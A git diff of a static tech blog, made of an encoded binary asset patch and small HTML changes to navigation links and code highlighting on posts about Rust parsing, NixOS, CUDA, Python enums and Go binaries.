zbK%BbC(ni3d5t_5Zs%3<%-2ypU%@iDHZ;FREA%9qpF#6WXnwqOT*g!5jn#zvmwJ>k!Ij&2@Q$z95(ec5Nlr+lMKcn|@eP*n$Zy?^EFMd=X z;9>&zg997B@Vq{uah2I!YA{XLAeWvP%8uk4y{3;Ax9N+I=0?+nK3>vCq=zmWTQ>~Wu1W+DXLY!Yggs6#1 zkAz2uXFWXU!*e-2H^cKaJl~lm>etM3HrA16FZYybhNM1nGh~(Gj9CXwf+6N2Q7<3C|D8eqBb-Cx;xDytgc|B*R*8Rvg-+H^ zBk+9=v1J!&pTd%cB@0VGEQ7EN!!lOjf>^iXG}J_IFq-m<%A~HYpsP1^q6Vu|(2Sye z1!;oXP#Y(paZg_TzM)cj`Z%T^iRNR`d^eh3M)OyBHFYQOjWWryUPb~Yls$*W`_cFr zru~TKRR+@fH!RzVwczHoiYGHKL`stdD0>@a@1pEIlzqTVcG-6*x1!vSiZm(~pyFFp zI#C%z5ZYdZ(D+D}BvH}}_ik|S$LMW@cF6A)4OolzC@s!P-k)Xg ztcK?rcy5E|-|+l`j#hMRY?5RL&@u5V6E5C=d`&ZC;?~0)w1sI7zd?l?+FhUDCzS9k z?L68W-jO!gex}>w|J7xDTgsvvl)cOE3lT=|pG^DAZRk&N8wOc^e_rp8XK2}_ScNdXI?NMs*jP4(Aa?lqJ&~Wh6z7NoVLLR&TBL7L`0rU`F-zckL5XA8;!w z@8&T?1JU2ohmr7EDB>3FgIRQ=so?{sh8L+#wO7!64y+_~G|lzf{0$UnLUpvXvru`C zTsamn80Y^dSayK*7udGs&v{^5B@%$w_&jL-Rli{kB}+_)`azRQJDbKOoDk3DBEJ3f z>@&v60OT7kFi+801Se>50;EO@n}TQey>NfcjRNKdTA1xOH5()&toA772EWO2Y~dd| zQS&6Vt$E2PRr}b9+IFKLkeB5ypc6?Y@2)&g;V|x!8wLFZfv;^94uU(TmfqhL26YqIy^Eol#zPspr}E@7hI{=>CvcV1Cxq5i)q^) zhW!=Vos;Ps2f{^Qae-JhO<>BAm~slHd@)M^q-#?FiYwZcc@kUL?1sjDl}Q#XQ(>D< z627Igw0~&d5fe-zEdSD$qCMjgeF{gGw$4Gq&M0$Vr8eHb2Z-hhDwS}CWZPbUk;bR? zS9O6Rm0^QE$R&}8FA|N!B8n$73&O zkyM-xcF@Pfl8CvFqm2j_UD7wWJ#+BdnpxT+SoVf>cAK^smVIHJLst-%C9s@q+A^1O zXCa^Bk%=!L4X-?R~x`w_OEU_S!(`P{xcOA093uS+eob)hx+%aqr~&!L-X z|B!yl^y2td+8NLP(KyVWEtqDgZQBSoE02_RtX7$86y0}L&}jZ8EqPXnm~YEWF?gqc z`1yU3MaE#+8kU{Z#nFy1Z{<6*N+HG*-et2;b-D-D7k8riLgRkf_n>Kpyh9UtHS>kE zE?l5!)qL^A+>Kb@DJ8tIs zyzyi(N~)(+BEdTPWGWnsv7#rD5wMy`rh}1WC@rL#m-oIH!X|v-l}cIiiy=O;9R&Lf z!yjRLSR8_9-y`h;ziQQCT`I;tS2Lm5%0vrOER|P~{#5M4U2L9F`5!bsjK;4>7Qc*k zx`i|a{Bi}XW9C7y!RDax9LrWDZ76wIQ6goZb+Wm0CF>X}USmOg3mauBI#bE@XVL8l z7i_xm+=kRZ*y}Ce)ytq=4(%#vR}*@qnh7Q)7V!%_1bL&I%7cBmJlExVUOEwyLZoYZ z>htB96x^XabxWl*D4#h9q8p6SweZ`1rQ~JnoDcc!0D)rD(p-eK4|8ddx{Uf`1hX02 zKSswWU*u!?V?&Hsd%+E|)!C1h9s># zpN_;BE(z`2Oe_4NDhr2W(W0_6m;Db`tG;kvt#93hHJ8*$G{zc5Mj1}R7~jLPaVHaD z!-X0@(I`Q-rFIJ18_vHKVhX^?Ld*SOIg>zbzL*4PZ29SwO_NIF9TK*Ajd#{EgE3Sn z4*Nr4W{uQKQcDA7A(m&QGO8^Tqgt_66oWc6HyPqm?18dEGrbBp=|=J}f%#MCgRo`I=n(M5|aC$LIdhNSQb!r=V~=c#a#4u&*d zn{9|Gm($U^4%Wv-OY|zQ@rBGyOmAV&3itJf)`V`}b)Nrb2|7{s7$Zz4rX7lDNlfd- zv{6j^Go~%ZwAGk#8fKh_8JC%N(Ft1#+n*6IKF?5#Fd(>umMo$UZ7baEG(#deh(d^n z5tnRy$vl)qRYfou3Pkdf*}CbfG(N?DNWIGsBRNk?iQ zjXEg~nFO(G4fn6q_5vJFCN&~~Yr^tglW>Cj75+$UQJyVLvAVuk3>sag^dx(*!%VC1BPUpsQ2-F@P2iqG` z6c(QoqLJ2d@#O?Csca-2@9P^(=FJq>(f-9&kW`^l2^ADRcGD52tsz0W?IThN(8$(_ zweVD8sYPW(``QRAk?lzvJKXpx&2kJ)zHic zP&r;Fom8=XBZ-UhhahGig1R~r{Y>Rzg_c@j>oAL_aIx&{(hc{Zmx^g^LlJ+_Z;}Ta z?h#>yB12Ms^yUq#+%IvzQDYa}K7C?_FG2iefUsCH8VZK#sQ5C}y+4|c`O}F=GH)}u zUZ0rhOGdoOSTvDN#4~|pCKHMJ;?YbhK(uhu9}9-^=<-MU&w638UHJvcfR z?;keLTo){xiuq0n4f@?<&N9f~@=f))|5V*7$i|}E=&Dx}Szu|^U9yis!@?wM7^3_j z#1QqxhT4}}4HFS-m1yFpkxZjrJDp`H8^PKE>!!32;@?Mn80 z7PddYHUZoDuw4mz8B^p2Np%^ij$!X&>>wwp0oG<>48&gLa9FR0^$u9SW@9J&i*THV zvPV&ID=O|sT5T>Y$1ys!-31dx{~6tN@QO(;rqFVleGeON2m zt5`sS_8`$FIg~Xr(prYn%Teai)6_vQV9H*OXz zY2r8h%S6krin*aOSTv2WrAS>(52K_EKgJ5U@Ih%1Hg%5&%cIziuV^udE+MxV7r9Yp zcJ!I47&}Q`$gAI3mG(aIK2(;81QXs^EEA7LeW^q&5RS(E;bb%&O+*v)i^VgMP$Cl~ zeken1c*yIIGbfh`#ZrlM+yp$d8q~jEAm?(Hu<|#3ux+8X6`-(qD%R%XE8i;P)hq}IQLl$rz)?xb2`aO+-ER{ksiHarNK(p>Lju^F1y zK$}mSS^)BBYDH5VO$5Ok{vsCbrZ>ZertL3?O;kbQ_mTk$)`^aW;FjxYz2y5T^un6q(L{a1^qHyZH;7MkZurf7C8q_TX}oLRmm zZ$VKa$JHNLtnSBN+E*KT>8zha8~Pn7>AFzMMWix8bWA%O)6$sM zk7;9=b|j`P#WZTLD`qUkj59Ff0?fFAS877zad-nhni@$|0C{UwKzgbI&Ba@^snG?ggmQF4X@R|= z*up$^&1_H|@`n78pubSvrw>Ur{U@gkR`PXizie0+^!xI4vtKQ)3ll{a%-6L~%Fa=p zfDjKOiwzfAA292^kw944aFG0U`gWMUAEqCI>4)hPQ#NeUl}wN1vO|;eM+XP;_O~Q! z!*4gsP2|i)sO>CSnd0Ur}O zrsRCRoKn)3*Arf@gnbvG7#JKo^9!W|V3K|Ma!Uz0TXmPQmjRC~daSKLN4q*krNDL53GvL;9B^ZnkSH@LyoE?I4qhBqj^!6=PvPXjf*cy#HqRDLzz5%u-CD^OF64f^n3p)h+ zM{u~>%*YTQd02_|8~Q`0d+jH~elF}6!+tgF*T8-&P0gQoEwOF_>-{tlfwB4E4Ga;* zos^mi8YAYv`bJbg$Sp~F5Gy{Lv^*()(P=MxOrB$=tJLq$m%CT&G4tef8cF66EeLI& zfcph*5-IrNrJ1D;6|Zbyv64X9e_^fgj7iKmvQ4{)`kOGi@+8ZQi}{sc-gn({n>>e%cne}9I2YC}q%@pw^&WR3LQu9f z-AD0A^s!Lk9t*v;kKRp%q_vNk4!5V$G=ocxNH?}Mu)WAUvh7RQcVjU;t#YeE#jLNE zF3`9;8XrO9*X9~D!^W1f#8TU?hoibck$L_PdQ~mBQYnWlEkez2EOz{x!Lki3JJXDU z`D0M_DnI@fPn_ayH5Yg`O)oF8EEZ{|saOfNzDkdNRGre$$2=OX*fsW{+YjI za>HDa51+f zsQZxVs!5`Nj6dWL%MP*DZaH(i2f{MRt%Cn6`6qP{T4csX2+|6Wv^pk~eQR;(0S{`E zs2x_SG0XdkG`2k|?W1`q3~i9DmAectH(2kJ^~Tk0+THYyzmwFcA8VfyfciTtyXlj3 z9k*oqiMFIharWrtFLa8nDzA#WnlE7m0s0VW;7F&(K|APPm|)TN4zEm9g+Wm__9?iZ zqumG_KFiLJTT!}HjaR5nCF(E@3;bbq`PqD%x(btEGnVh_A-ErtLZ8G5VaG$b?}qz+ zxWD69Y2M2H#rR%zZ$LMiISIT>Y2KV=YOA#e3HHQHEN4iKshzKI z)#=G!Fx^NQCI+V9IxjWpFdw!^gQOz_h$Vo4S1}Fe)*DT z^DsM*PS!lc#({3|k3@kN-a+Uu? zRUB0dQMDM=KO39%0t@Au=^tBZTWeifM(fvZ(r(r6)E>|tVTmAnQCtSw4Y1uJrqd6> z_5^It!uAD=$m}=6K~jPp;n*3DZe|u@%{JKf z*VzNkwGUj!pky1A45MTbO1?zN&u}~7E|n;Bhrm6bL~Ydb?XbSW9&`-tCgF;aWX`&l zBy&QXR8X5A^+dqCOqtg_-3sfv4Gl?FWD!l zOoL?>K`B@^5mo)>Y#C?SMNbC2zaNhyO_j>bM$DHa9tgeQH}6Q6p8~oeMQ+OjJ9;nV z&zt8E8OH^R{NR!1BV%xJC=ZP)GTdFb5R)SnP?~9NMUf@Q0$6rr8Gj<+TTWu@HV!Ys zYxO9t)fzr-ZJN(iH(}lp95I8h)82*#f>3J*A9@lojw|_B$-|xve4>&8UqS!gL1XlJ z3&yYR&uCPJ!LyJ;5sog#MR~O!(^@2qSfV?YwP~NWYs@xS)|eu-8nb6lKI%t?T1NsZ zR0OGKuH@JK#j7CpGbUu~4zNbcm)94NRFZ}m4HO~oY`_-_#R4(0GBZGFBH&-4H_$qL z=+S;sWQ|7D%Jenua6SU}o|crB4Qb^PP2)8Ns5reh9Eqj;UofNdk# zNC8A$Plc^T*~rvB${Yuc?_HW12k^=yA98J|NQE8<#R~Cq5`pkyqnks` zz*K)_f>i-5cA@<{br>!-nN0-PyqbM$R9pcSMQ5O(FQ@xR3h&}@Qi(uxi4uDJM=fdI zl&{E+ugIxV9hG&kpUojp?U%xSJ?wYT&5aTP$ux|z#!d&Ku|UwUuo@Pw?QD<+tXIkh z`{PNGxJ|*w5TvgW)-2lnGQ)Wp@0h& zXJPqKZ2@c~+1Z>4X@|q`9kaABIm};q2Nk!Y;z3m2iN**TcShr`Xxtx-hoJESe^QIbZ<7)p+W+XA-@?n=1Z z#La#WBGKR`s6R}U$Ca?UVf_Sl8ytSP77=M;BR~^lgF_;}5<&0c{4J7On|=>%?QkT1TX=0Lp7o_Attxp&1ExL2zEU84eakuNV{$pPuqC zDzd0pD5ZHLD2@|D|J_4ML*}Wf_yLuFptp{8l$T1q0^FYuf9yVB)&7+*mL||3H zMw)A$yz4fiq!dg)(?Mb@V}dJMwYR80jz(udS?QNJOZBU(6Kfm6!Xn*l<$$#YOM4RR z=fHlMgnzz^rpt6k}Q*?9}OkQ(Yac*PxIma=!8!_nT@Knro}Ucc-#ERUmwb_CSBdM5XA;d*ZJw;DYv9LXyD@s&K$=0-1!tly zXefk9D;CpjJBMY?nr97bc?#C(o+a>H0nhF5e2Hc!eKzUf!_#gL&8be zj^S7nHXfG>{w6OD!j|Te!t_RTi85B?i4s&cTQbWYe#}d!ZN1!BStc!M#nhuP^*cDo+r&v>kwyNrLwLgTq!uAg~r$yI9y_?4a~2NE1wscJ}X-ar#v zYR%Kfg3*D|o=~7OAj$N?I5x15oxi0ocWyjP%q2`nX8!`?U7bM}g>5HC$u!GHTP*u2 z(Af1FO4wRL%=25>Ctuq( zqT=QWbs9Q5!hGW+Oc2ve#26Ne6ZJdeli);<&+X`!18v~!LE4q_O?S|t1`^(4AdWi> zrgsm0YZ_2TAZGLbXXsOj-C$*I#QDQk_A?XPpO^Fqiw4@d3x829ice&8=zFuq&l`B!L7Sn90lg*a zDVnjc9)f7MBl&FZ4vDEm%1CFIp|#=@^|Lv6*s`Bgec!5b_$w;lcXRf89{khbzZ|Lvgt8JBAQv2wKwmf#h%K>Fn66q$HfqBB#6W0` zda*JqOk(e_{V9@|5c&opr-!t#c+^;_L2!WtTm3;JB?j9gEudYhrX4>@-C}I>JT%R z6OpS;C!%rdz4gLaN>K)wve>{>>nd&Y3{ z4*N`(Ng8$iWy_})lHF#4M3*LrT}{xJu_Fm~PE)ao7tt|_cgRhHkwn1GIZhp8TI&yv zRcj0XaP2a`f_>q-2vG){(>26Ys_rLEMysK-bsUG%EBC5+c2zrzo6OTB?P?KQsA=<% zaRD-y!nYdP*C8hlIm?mr5OQ0QHy8LG#p_Y_2&!I3^-N<2uSeD%$ZOFH|BjU-V>kfL zyLBAxw^p81#;J#U7CbR{UPV#_$z2lKp&l?2a!&)XIHq%<9#yoMHN(@?CULe+TB`L9 zascj6uo1H`XNwW3XWOD~dz-yE)AIZx3g!iJ@4{Zap?6$lv2^fxD36R_4!o zKM+*jN*8(HyaDdH@-^*n>ip|@>-Kj?)@hH%^>AkDx*}XCrc%A7-dDd98rZ0wP_L;k z8P{>-3hz49Na!Yl94h!*J}dT2piw0xAkh%mGCRV*%~0BNwgde_IIFa2%uyzjZ1S(t zE2zlBIBaL$?MzFsjF|XgaAj4fx8S^tYZY*YC*ScsCnh=5+4n_0F$0TS&zMIAi2@GL zC4a1|Q7w@wS#xE&p#dEZ&K{TlJhQOACLyJFbk5%kvTTHDq%ExAY-?vfFI;Rh;1FQl zU~|OdWqf@iw8V1IWL!D_bySdXbgwDnx3qR_U302QsDef~KSTx|ISZ3M zM)JeF|KEb^9c2DO-t$JJBq1f8C;tSzYv8>I-diM(V`nMY0oS=S<++>DvkoaBvylJI z0xA^m4Kx0dDuKRYdscL#+IG=BNw4n>_i5dMeo2U~^HgNG_$w;Jd*z5iDD ziGB|*(7_GK&!cbvg&)(~Mb)FBIKA}lNFd&0NoJ_Jl*=|4Z|?ncZ-g~CdX_JpVRKHz z=8{fyODIG}a+cPgwM^Q{b^@{sC=v>DjRcKhr6IpSjtwSyjQ&#})mv6^ur_h)&|)it zonh6rqO?ge-o*sTv%+1sxI)b#IIU8R*HqZe=wctr-CV~hU&pG`TUg6lrgM0n6r?Zf z3j?GM*nugn#+JXv#x%Y&g5_odl73I?8i}&9wvfncHj;xHp;4qP+)3sSor@0#2I7Q4 z587yC@@%Cjge<25kWD#QV1V zq~w|*t8TUNK?a2z!P&+BcaPS71=KoKlgn(QrPkSO=4BhhA79QK`_ru@a_6o8xTGMz z4rhUwaZ`;nmY5pX5L}m$Fy%2YN~{&v`Q+!Y+0t($7v*f601sWDVZL1eYFD_Ya;AlJ!h?{r zv~qn>j&>z-@?KX9?>WQ)=tv(KFpP)!PA!A?p>lZtLCOG^_NgRW1>S845vISkMtHl} z-tzv1lrAf_`OZ*#B+%E<88D%+avmwY)=2YzzNVc`V_KZ{d82dZ2j>m-MiV`;zV4w| zVD7wm19qt>FDD9YzIQyAj|Xrfje+!NIy(>@4#k+z*oQS>hw*x^qs__rSXsIb3oYYd ztZOs9^jlk$(8$*MUO3(#2uJ1(M#mEYT4}NR0|O@5mh^*AygwA+`brZ`$i~(tYo$w0 zkk^AXwzcBs*2MiU8b`l9D(A)gK;}n2N&F<7rX8Mr;MosJ#~|r=B;AgryOHrNGN*Hu z$J}+u%ST=fQ4`%Y5K8D6D-OfW)OFaj7jd@m@&c_cvhc5xcavJ!#8q`ftN%@+Epr4G zqOCBGhLWWx6Vd@sZII&xMbZyqXlLgjv_JfGmC{fr*?8bK-gnGy2;5=WY=X_TKv zpC@W7h`XCFag*g{FCYWTj{Ug4Bq;;3mmkpvLZd)FpPIS`leD+!C@b?+V_otd`xD+V zcppWI6DfsAp?PeJv;eYQ$R$&GJ&HG>JF&oaJ>xAqwKKO4v?jUP-_Oa zx8-NHa<+O`lC(P{UrKb#P7~4+=QtMwo4!tLd1-AL+7j&||BINNYqO@o* z97@;;x;cL$?;YA)(O_?gm65HNRtj`Rf0N{|iWR@kc(jWd;F3xdUWUToYEgIz3V-3m zJUY=CBJGQ7YjT81l#J(2(bo9!ay7rRD={1(Tb{*2t|Tnh@cv9oLs}uy79#Cb9bCha z4iA}}Sl0nW&Ue%9j!HZlpS_p#Nct`1l4_CH#siN?f|60cIl3?!=^R(=?vg7)eHtm> z=pghcO9X zj1skXjP{$vFBz*$bZC_*Ex9J2`6{#5Tdj=65|D7P8su6HOxNxUIBLD&3N+kDxEcr5 zd-{<@67xmm->Qp%BrQYoFby$j#N?u{w=)%Ew$k&a?VXsXjiDSKMqg;G#AFe68#gA0AK4#TIm@cmp^aQg)A_iB_x);+ywhb`*@W@B@}%e~_!Di< zP9Yb$wu@*L3e;^JY}713Sg{Pf2Cg4%b=GB5rBBL5174fI{9`9q%V#d=*Lj9=50 zA3T2J1&OP(xB|=%cE}HN12(IikHK|6+#xADsnL-(qoLLrLa4C|;u4xg6ko)N6~pCl9cryaT~3&rcro3$?_k()fJ^e<4Eipq&?b5QZK)=d1{!@ob&wKgs@ zN#By_S*`_=aey`4XrioYx!|X#2bu42eG&iT#+&$(=+mX9hcp7%RwC^|zAzp&dQ|Q;{K*F8>%vePABY9duqNoRgAprIS6#3u#9qqX~HxDBl5<2_0pb|}%=`auohK!l@qm{&yUZ75AgC@mjWXr2jT7=SxOboM7@+m>fC7+{oM2CKM z8`&1t2J02EV3V4y_vC%1uTo@%+b3@-m~e-(yLEpHTZiAkx<|FpgH0 zPTcau)GbaF(d_wz-v6>6NBs&i$D{cw~>@ZoGR95=!7xm1bS70!bRr-SP#xDsrY z(+k8N(H87Hy*u(RCuYFM$HS^i?$uY?+q>dkRJ?{t-irgF-~ua^^F8|*=;9lL;Xq`u zVWuDH2b3k-ykZYSjkKTKy>>0lKAt+=*R{ro#>eFL0u9$*W4v+iBkdMsf2FxL^cEuE zO6yLAa5NYv)Uj}68-=!33n#zPTcOcPwT6R}n~l4`;FHN_>|J34Zk#Tz2ewFPVMHy+ z*%f)0Vd5e*1dTm*o$a<=!hsRSY=YK%2?c$N(RrinI%EmiO(@*odnbHF@KwXN5&84w zTqI%{QuxYLM4GFvk~96CIs_@#;AuIuFZrkxcW@$AQP`dax2R7xJq6>T=CXr4>dST_j_^Z92 z@bd8it}QAOc?W)|)IuHy!Z>KgRFBU*1~reMHU+iWW-TAF@=3S9m_T2NP?jo9cQQIv zO`P#@;=tcAa#X6>uL)9x`j5j=z%@|7Lrq~Gg}9uz2m5;cQFq!+8>YFjz!ll zJSM3ipyg`0+!Euuomo2LiI6b9MDjKSLHPzbza!U)yc>}B7VN+k;EI5@u}M(>RBXkwv&9o|@VJ>MF$ z3&MEM;#=u0y%9T%fL-g&2658o5?x%|n>fLN5`5Cg1iK zkzeookw4tfczKcmxHzsfzSyqMjvLzcfbR~&6J9sL4pZ2yY)mo$`5-+b-m_REJhu_1 zw3j$7vPU+zS&$My$h%JWTPR1)9QxzB7|8w{IhDwL33+!Q?>Q7+QHi9lkn}y0{zh`{ zf0Yw)s-#6EPebx7PL9aE9l6gV_Z>-*I6<-`ZZ?S$g@>bLJ^|VR<|s65hI3 zBeFLj`!nS1fSi4ice@Y;d_N$27i2F%_9|q*gPe1acPM9q=5axYNo8;!UBTTy97k2d zbvt=O;d+2r%-L{lfa_xJZs2;0Fqt>tPUB2ecQcpvBYO<4Kj6-Tn~>ms`ik&Og=dBh zClU{BSRt7`yGyLmgQ6Pgu&0AKkbNGlY)ey=qzL_^eMZYbv#pNIA&Q|x!O*x?Lo>?$ zg{DLMo=yx5cIc=AU9fO3tAC55!GJ9(@@^*eDBfc`jCA?hIyu%!p0MbsL21pznytwA znE}QaW?;$fGeYQi-Lb{J|ZOjfk;J?e#r81Y2##t*t%v>$5TAeT2QC_YwuhwYj z)X@sp6f2LMok!FEtyk-78Dl=jMnOIDuPtN2B%pQF_*13Wd%0_aoWiGEo@+0I(eV3>DI|>I;_yx)e zOfA55@LmeBrI zO|hM5k669qXCk(KpZqRKcxmsT-E?8n9ugb~&N83Nle-=z9<;62FnAeaiLpYBb{J4# zdn;}6=F~Ii1OPlh!@m(J9xYK;llQ(B8FM61iUU4V)*|H-GaEzlQ zoZCpexG4Bz>Rw6xY}8PMj)>S~EBqH5Q0qgn!5-t%Tt>1E7!COa{poU<@9LUGd(yRb z)cBbG2oedLV&^09fr#yf3d>L4r3*~00$zW8+Yl?lc6FzOs9&n&G}7MG_3GwEHCr94 zy3|$bT6KfEUurL3tTw6J*wF5g%fo%lj7oTY^tIQj`-ODmRAi9T{7ZC|>yYf=<(eMo zW1lg;<$1rKfTT4@dR=dAB!`jw7;=gBuS6l2@Nl;wiTuBZB6k#Jf9v#|^>8#1Tp<18T1lHDGbA#wGd<(dZ1(F%C-CU__72OU6PdWo*= zlq#Wh)sp5;i0xX=<*7B%E%inx(xAXCx(9&TUmZqfrt3QSA_-0uOxLNtzV+lpJ_i0( zP;;Tk4O;Lq{1xyA;J28w!0&+H3BP-DLmm`-(};qY_97Nr{$=HAt$IhYqaP70^Klz+ zyMX2{L*|-1BQ(zUNhZkqbyp}Im=R-_>G)AHPkP8@5Q_B?YQ`bOiRgeR**Y_F+LX4b zEt^%%f^V#mZU1lI+%m0YV5FH;-VysTA6p|8TRuh@Z3~OV&?qUP?JZ3$Tf8;@cs2>P zxO}92poc(&cJp?*ygM3^?n>>6XnRMfU3+CZC9_i=;P7<$>}Vnff43p~g(68tEfX}cJDm60bx62cX`+)f{e|YqEZ#U< zmhI9CPFdm7=UXkTRXZ}?D-9PuwIs2yf5_q&RkMF_I*EG6z09WgcrduY7JB!RCS;BU zgOPBD-Q?sS%Oodq8LV24=Ty4*K+vE>G=N&>I|tFmyTBHwKfsxy9~g@fwebH~29`0y zWA61Sb3eji7HRj)3-X4q>*`+4H@QcZ0ha?sB+m_4QHCG;XBnOLAni$0QzuIV}Aq zZE;X4>cS)h^JOw4zN?5oApf*)E3!-~LIbM{r1Ix8fYa-dKVn0-WO1gAiJ9(Zq`xL!5*db%Dn!wUs*!QP{uPW6r zCnIQJc9l(X1oBQ>)+h<&`O+5eVh#vpaFfd;F41US!T^$u2J1Y}L{)8V-ZI+`I^{CE zd|%iAb@`to{~r|0Y#TxTd-BXk#4b;;)^t^T!XER(Hm&ERt6A`BIY)NAf$Qls>@@?KP4|;9U#vCGg$` z?~_Q`QEbN%t`M)LEiRWB)bp#kl~O{#BNPY*$?Q+WLh}a0<0|FhWJ>7UJghY8~QzscXk*KuP(V%g@HM0GGcTr$~D@(R>0e!A4 zZ2vb#if^=!1P3WqTEWp7COjkF>+-OHShQ=r3U=}n@|9wtHCm6jMpLdoghIkl&(Z@= zI}_=9A$a^LPK!e z(a3$n$YS6i4Cj$Ha&kSfp~WIL_K|7=Nisq%rzntfk=|ef`WU0OWcdp|o+=B*4`%MJ z&q{$heL`Nv^9uEMb9}61iEt|BbeUR6H!jtIf8Wb!!_tMf(&UZx=p({xb=-lus+Ty6 z-O5QjjLy?1`n%WL)Zw*sY4=nej+VZrT!pLEq3U#Y?K__3fE;y*nxjH$ow|X8x3~ir z@eW=0jn*p(HBr=X&GFPrka`_bZ$at|a8@;mncf{WTn&EKY7tAox@(3*<&n6ZzW($Q&_QEfY+l?3L

Unt YouTube Animation Manim

\ No newline at end of file +A SWEET Little Parser \ No newline at end of file diff --git a/post/a-sweet-little-config-parser/index.html b/post/a-sweet-little-config-parser/index.html index 82462bd7..e7e294d9 100644 --- a/post/a-sweet-little-config-parser/index.html +++ b/post/a-sweet-little-config-parser/index.html @@ -64,4 +64,4 @@ The demo repo called sweet (simpl SWHKD EBNF Google Summer of Code \ No newline at end of file +Wayland Tools Rock! \ No newline at end of file diff --git a/post/a-tale-of-a-frugal-home-server/index.html b/post/a-tale-of-a-frugal-home-server/index.html index bb33f38c..50f77134 100644 --- a/post/a-tale-of-a-frugal-home-server/index.html +++ b/post/a-tale-of-a-frugal-home-server/index.html @@ -38,4 +38,4 @@ if it isn’t already. That’s it!

Sysadmins need not apply.

< Automation Jellyfin Photoprism \ No newline at end of file +NixOS Secureboot Shenanigans \ No newline at end of file diff --git a/post/abstracting-structured-patterns-in-concurrent-programming/index.html b/post/abstracting-structured-patterns-in-concurrent-programming/index.html index e6909301..a4c23db6 100644 --- a/post/abstracting-structured-patterns-in-concurrent-programming/index.html +++ b/post/abstracting-structured-patterns-in-concurrent-programming/index.html @@ -52,9 +52,9 @@ channel.

The macro would use the quote! macro to genera variant like the following:

quote!(
     match #enum_ident {
         // loop over the arms in the macro call
-        #variant(#inner) => #inner_chan_tx.send(#inner);
+        #variant(#inner) => #inner_chan_tx.send(#inner);
         // ...
-    }
+    }
 )
 

Using the match statement inside the generated code allows the default exhaustive checking of the variants. Programmers have the choice to explicitly opt out of @@ -75,4 +75,4 @@ and determine when it is ready to be sent off to the next layer.

That’s all for now. Bye!

\ No newline at end of file +Headache \ No newline at end of file diff --git a/post/algebraic-python-enums/index.html b/post/algebraic-python-enums/index.html index 744faa8c..4b4369cb 100644 --- a/post/algebraic-python-enums/index.html +++ b/post/algebraic-python-enums/index.html @@ -208,4 +208,5 @@ enums also play nicely with static type checkers, goto-definitions will lead you to the correct class definition.

I have packaged this decorator with a couple more typing restrictions into a library at github:lavafroth/ape.

I hope you enjoyed this foray into contorting Python.

\ No newline at end of file +Algebraic Data Types \ No newline at end of file diff --git a/post/android-phone-for-webcam-nixos/index.html b/post/android-phone-for-webcam-nixos/index.html index 756c6ab3..6cd11818 100644 --- a/post/android-phone-for-webcam-nixos/index.html +++ b/post/android-phone-for-webcam-nixos/index.html @@ -50,4 +50,4 @@ see you around!

\ No newline at end of file +Kringlecon 2023 Writeup \ No newline at end of file diff --git a/post/changing-recents-provider-on-eos/index.html b/post/changing-recents-provider-on-eos/index.html index 73beb6ad..ccea5229 100644 --- a/post/changing-recents-provider-on-eos/index.html +++ b/post/changing-recents-provider-on-eos/index.html @@ -22,4 +22,4 @@ I started using Lawnchair as my default launcher but this did not change the rec /e/OS QuickSwitch QuickStep \ No newline at end of file +Easy grep to detect stripped Go binaries \ No newline at end of file diff --git a/post/compact-xor-crypto-challenge-amateursctf-2023/index.html b/post/compact-xor-crypto-challenge-amateursctf-2023/index.html index b8bf84e4..2e5496a6 100644 --- a/post/compact-xor-crypto-challenge-amateursctf-2023/index.html +++ b/post/compact-xor-crypto-challenge-amateursctf-2023/index.html @@ -58,4 +58,4 @@ we can now reverse this transformation by xoring them back with \ No newline at end of file +Volcano \ No newline at end of file diff --git a/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html b/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html index f8424675..110a7b40 100644 --- a/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html +++ b/post/cuda-on-nixos-without-sacrificing-ones-sanity/index.html @@ -70,10 +70,10 @@ to use the default bash.

The flake

}

Note: This is NOT the same as containers. The most obvious way to tell is because you can access your NVIDIA GPU as is, without any passthrough shenanigans.

Enter this flake development environment using nix develop.

Setting up PyTorch

Now that we have the scaffolding, we can use micromamba to install CUDA for our ML tooling.

micromamba env create \
-    -n my-environment \
-    anaconda::cudatoolkit \
-    anaconda::cudnn \
-    "anaconda::pytorch=*=*cuda*"
+    -n my-environment \
+    anaconda::cudatoolkit \
+    anaconda::cudnn \
+    "anaconda::pytorch=*=*cuda*"
 

Here I’m creating an environment called my-environment with cudatoolkit, cudnn and PyTorch. While installing PyTorch, make sure to pick a version whose name contains “cuda” like I did here, otherwise, it defaults to the CPU version.

You can also define a micromamba environment with a config file. Read more about it here.

Once the env gets created, use micromamba activate my-environment to hop right in. Profit!

Conclusion

Although this is not the Nix way of doing things, with micromamba being imeperative, this is probably the quickest and most hassle free experience to start ML stuff on NixOS. I’ve seen quite a lot of friends giving up on NixOS because of how annoying closed source libraries like CUDA can be.

Share this article around if you found this hacky approach to have improved your developer experience. I’m banking on open source alternatives to pick up steam @@ -85,4 +85,4 @@ so that hopefully this article becomes irrelevant in the future.

Bye now.< NVIDIA CUDA Rant

\ No newline at end of file +How I Use SWHKD in My Workflow \ No newline at end of file diff --git a/post/detecting-stripped-go-binaries/index.html b/post/detecting-stripped-go-binaries/index.html index 0b6ecabd..a0c68a22 100644 --- a/post/detecting-stripped-go-binaries/index.html +++ b/post/detecting-stripped-go-binaries/index.html @@ -8,4 +8,4 @@ An environment variable that all Go programs recognize, you say? I had a sneakin

Ok bye.

\ No newline at end of file +Need a hand? \ No newline at end of file diff --git a/post/do-you-really-need-a-copilot/index.html b/post/do-you-really-need-a-copilot/index.html index 4678d069..09f9acb1 100644 --- a/post/do-you-really-need-a-copilot/index.html +++ b/post/do-you-really-need-a-copilot/index.html @@ -5,4 +5,4 @@ Context aware autocompletes happen when the model watches your code so it can su AI Rant Copilot \ No newline at end of file +In search of the smallest DNA complement function \ No newline at end of file diff --git a/post/edge-cases-you-shall-not-pass/index.html b/post/edge-cases-you-shall-not-pass/index.html index 2688c88d..d3d945c0 100644 --- a/post/edge-cases-you-shall-not-pass/index.html +++ b/post/edge-cases-you-shall-not-pass/index.html @@ -40,7 +40,7 @@ them.

        return s;
     };
     // Pest guarantees this for us. Still keeping a bit of sanity check.
-    assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
+    assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
     &s[1..]
 }
 

With this new function, our parser correctly unescapes the keys like so:

Binding [Modifier("super"), Key { key: "+", attribute: KeyAttribute(0x0) }] → mpv ~/Music
@@ -51,4 +51,4 @@ the next post because fixing this bug and keeping logs of why I did it felt more
 SWHKD
 Waycrate
 Wayland
\ No newline at end of file
